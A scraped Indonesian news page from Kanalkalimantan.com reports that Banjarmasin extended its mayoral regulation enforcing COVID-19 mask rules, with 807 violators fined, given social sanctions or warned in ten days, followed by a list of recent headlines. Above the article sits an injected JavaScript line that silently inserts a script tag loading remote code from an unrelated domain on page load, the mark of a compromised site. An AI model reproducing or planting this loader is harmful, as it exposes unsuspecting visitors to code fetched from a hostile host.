(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

10 Hari Penerapan Perwali, 807 Orang Langgar Protokol Kesehatan Tak Pakai Masker


KANALKALIMANTAN.COM, BANJARMASIN – Masa penerapan Perwali Nomor 68 Tahun 2020 tentang pedoman pelaksanaan dan penegakkan hukum protokol kesehatan di masyarakat di Kota Banjarmasin pun diputuskan untuk diperpanjang.

Artinya, pemberlakuan sanksi berupa denda uang tunai maupun sanksi sosial seperti membersihkan fasilitas umum bagi masyarakat yang melanggar protokol kesehatan juga akan dilanjutkan.

Wali Kota Banjarmasin H. Ibnu Sina mengatakan, perpanjangan masa tersebut merupakan hasil dari evaluasi keseluruhan pelaksanaan Perwali yang mewajibkan warganya untuk mengenakan masker dan menghindari kerumunan sejak 1 September 2020 yang lalu.

“Pada intinya kita sepakat untuk memperpanjang pemberlakuan ini selama satu bulan,” kata Ibnu di Banjarmasin, Jumat (11/9/2020) siang.

Menurut Ibnu, selama Perwali yang bertujuan untuk meminimalisir resiko penularanCovid-19 itu dilaksanakan, tingkat kesadaran masyarakat sudah mulai membaik. Dimana, dalam 10 hari pelaksanaannya, tingkat kesadaran masyarakat berangsur membaik.

“Bahkan mencapai 75 persen,” ujarnya.

Hingga saat ini, ia melanjutkan, petugas gabungan telah menindak 807 orang warga yang kedapatan melanggar protokol kesehatan seperti tidak menggunakan masker. Dari keseluruhannya, 105 orang diantaranya mendapat sanksi berupa denda uang.

“383 orang mendapat sanksi sosial serta 319 orang dikenakan tegur lisan dan terlulis,” imbuh Ibnu.

Ia membeberkan, nominal hasil denda yang didapatkan Pemko selama 10 hari pemberlakuan Perwali tersebut sekitar Rp7 juta. “Paling tidak memberikan efek jera kepada pelanggar, karena target utamanya bukan uang, tapi tibgkat kedisiplinan warga untuk menggunakan masker saat keluar rumah,” terangnya.

Sehingga, ia berharap dengan diperpanjangnya masa pemberlakuan Perwali Nomor 68 itu, bisa semakin meningkatkan kesadaran warga untuk lebih disiplin protokol kesehatan.

Apalagi, dalam waktu dekat DKI Jakarta kembali menerapkan PSBB (pembatasan sosial berskala besar).

“Kita lihat lagi kedepannya. Yang pasti untuk pintu masuk Kota Banjarmasin harus lebih diperketat lagi. Jangan sampai kota ini kembali menjadi zona merah,” tandasnya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.